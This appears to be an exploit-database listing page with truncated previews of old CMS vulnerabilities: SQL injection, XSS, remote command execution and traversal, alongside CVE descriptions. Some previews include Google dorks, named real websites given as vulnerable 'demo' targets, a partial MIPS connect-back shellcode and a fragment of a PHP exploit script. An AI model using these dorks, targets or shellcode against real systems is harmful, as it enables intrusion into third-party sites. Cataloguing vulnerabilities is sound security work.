CVE-2011-4340

Symphony CMS CVE-2011-4340 affects Symphony CMS 2.2.3 and potentially earlier versions up to just before 2.2.4. The vulnerability is due to cross-site scripting (XSS) in two areas: (1) profile parameter handling in extensions/profiledevkit/content/content.profile.php (triggered via default URI, a...

Joomla Motor SQL Injection

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

Ultimate Locator SQL Injection

Exploit Title: Ultimate Locator SQL Injection Vulnerability Author: Robert Cooper Robert.Cooper at areyousecure.net Software Link: http://www.ultimatelocator.com/ Dork: "Powered by Ultimate Locator" Tested on: Linux/Windows 7 Vulnerable File: resultslist.php Vulnerable parameter: radius= PoC:...

Softplace CMS Remote SQL Injection Vulnerability

Exploit for php platform in category web applications Softplace CMS Remote SQL Injection Vulnerability Software : Softplace Date : 1/23/2012 Vendor : http://softplace.it Commercial Dork : intext:"Powered by Softplace" Author : ITTIHACK Home : http://ittihack.com Vulnerable File : index.php |...

Brand PHP SQL Injection

Exploit Title: Brand PHP SQL Injection Author: Th4 MasK Contact to ; [email protected] Date : 19.01.2012 Platform : Php Dork: brand.php?id= Demo Site : http://www.mirabell.com.hk/brand.php?id=2SQL http://www.seikocan.com/brand.php?id=51SQL http://www.vmax-services.com/brand.php?id=11SQL...

Proof Cast Design SQL Injection

Exploit Title: Proof Cast Design SQL Injection Vulnerability Date: 18/01/2012 - 04.13 Author: 3spi0n Software Website: http://proofcast.com/purplewebsites.php Tested On: BackTrack 5 - Win7 Ultimate Platform: Php $ Vulnerable File: Changer $ $ Demo Sites: www.onlyfineknives.com/knife.php?k=244859"...

TinyWebGallery 1.8.3 - Remote Command Execution

TinyWebGallery 1.8.3 - Remote Command Execution » TinyWebGallery 1.8.3 Remote Command Execution » --- Date : 05- 01- 2012 » --- Author : Expl0!Ts -------- My Best t34m ----- "BaC , RoBert MilEs , Bl4ckID" » --- Software Link : http://www.tinywebgallery.com/dl.php?file=twglatest » --- Version: n/a...

MyPHPDating 1.0 - SQL Injection

MyPHPDating 1.0 SQL Injection Vulnerability \ ==============================================\ Software : MyPHPDating version 1.0 \ Date : 1/1/2012 \ Vendor : http://www.phponlinedatingsoftware.com/ \ Demo : http://www.phponlinedatingsoftware.com/demo.htm \ Get App. :...

Xiaomi technology website vulnerability collection and repair programme-vulnerability warning-the black bar safety net

Brief description: easy via Google Search, I found more of the size of the problem. Detailed description: 1, The m chat the official forum of the secondary injection. http://www.discuz.net/thread-2354532-1-1.html Patch. 2, a cross-site scripting...

Empire(EmpireCMS)cms 6.6 the background to get shell-vulnerability warning-the black bar safety net

Previous 6. 5http://www.badguest.cn/Article/201011/78510.htmlsomeone hair of the method is that the background---system setup---the management data table---management system models---import new module,directly put the modified php shell was renamed the shell. php. mod uploaded, the new version us...

zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal

Advisory: zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal Advisory ID: INFOSERVE-ADV2011-09 Author: Stefan Schurtz Contact: [email protected] Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52 Vendor URL: http://www.zftpserver.com/ Vendor Status: fixed CVE-ID:...

mPDF 5.3 - File Disclosure

Exploit Title: mPDF 1; use constant FALSE = 0; help u...

Family CMS 2.7.2 - Multiple Persistent Cross-Site Scripting Vulnerabilities

Family CMS 2.7.2 - Multiple Persistent Cross-Site Scripting Vulnerabilities FCMS2.7.2 cms and earlier multiple stored XSS Vulnerability =================================================================================== Exploit Title: FCMS2.7.2 cms multiple stored XSS Vulnerability Download link...

Venetaweb SQL Injection

. . . | | | / || | | / \ / | / \ / \ / \ / /| |\ \ | || | / // | | | \ / \ \ | | / \ |||| /\ | / || / \ / || / / / / / / / =========================================================================== Title : Venetaweb SQL Injection Vendor : http://www.venetaweb.it/ Author : tempemendoan...

linux/mips - connect back shellcode (port 0x7a69) - 168 bytes

/ Title: Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor a0,t7,zero "\x01\xe0\x28\x27" // nor a1,t7,zero "\x28\x06\xff\xff" // slti a2,zero,-1 "\x24\x02\x10\x57" //...

Excms excellent content management system to burst any file vulnerability and solution-vulnerability warning-the black bar safety net

Detailed description: The$GET'file'filter is not strict,explosion of any of the files Vulnerabilityto prove: http://www.excms.cn/apps/include. php? file=index.php Solution: the$GET'file'for strict filtering Author passerby@dark clouds@the clouds...

Family Connections CMS 2.5.02.7.1 - less.php Remote Command Execution

Family Connections CMS 2.5.02.7.1 - less.php Remote Command Execution $theme = isset$argv1 ? $argv1 : 'default'; system"clear"; if fileexists"$dir/themes/$theme/style.css" echo "\n themes/$theme/style.css already exists.\n\n"; echo "Overwrite y/n ? "; $handle = fopen "php://stdin","r"; $line =...

CVE-2011-4646

SQL injection vulnerability in wp-postratings.php in the WP-PostRatings plugin 1.50, 1.61, and probably other versions before 1.62 for WordPress allows remote authenticated users with the Author role to execute arbitrary SQL commands via the id attribute of the ratings shortcode when creating a...

Sql injection

SQL injection vulnerability in wp-postratings.php in the WP-PostRatings plugin 1.50, 1.61, and probably other versions before 1.62 for WordPress allows remote authenticated users with the Author role to execute arbitrary SQL commands via the id attribute of the ratings shortcode when creating a...

CVE-2011-4646

SQL injection vulnerability in wp-postratings.php in the WP-PostRatings plugin 1.50, 1.61, and probably other versions before 1.62 for WordPress allows remote authenticated users with the Author role to execute arbitrary SQL commands via the id attribute of the ratings shortcode when creating a...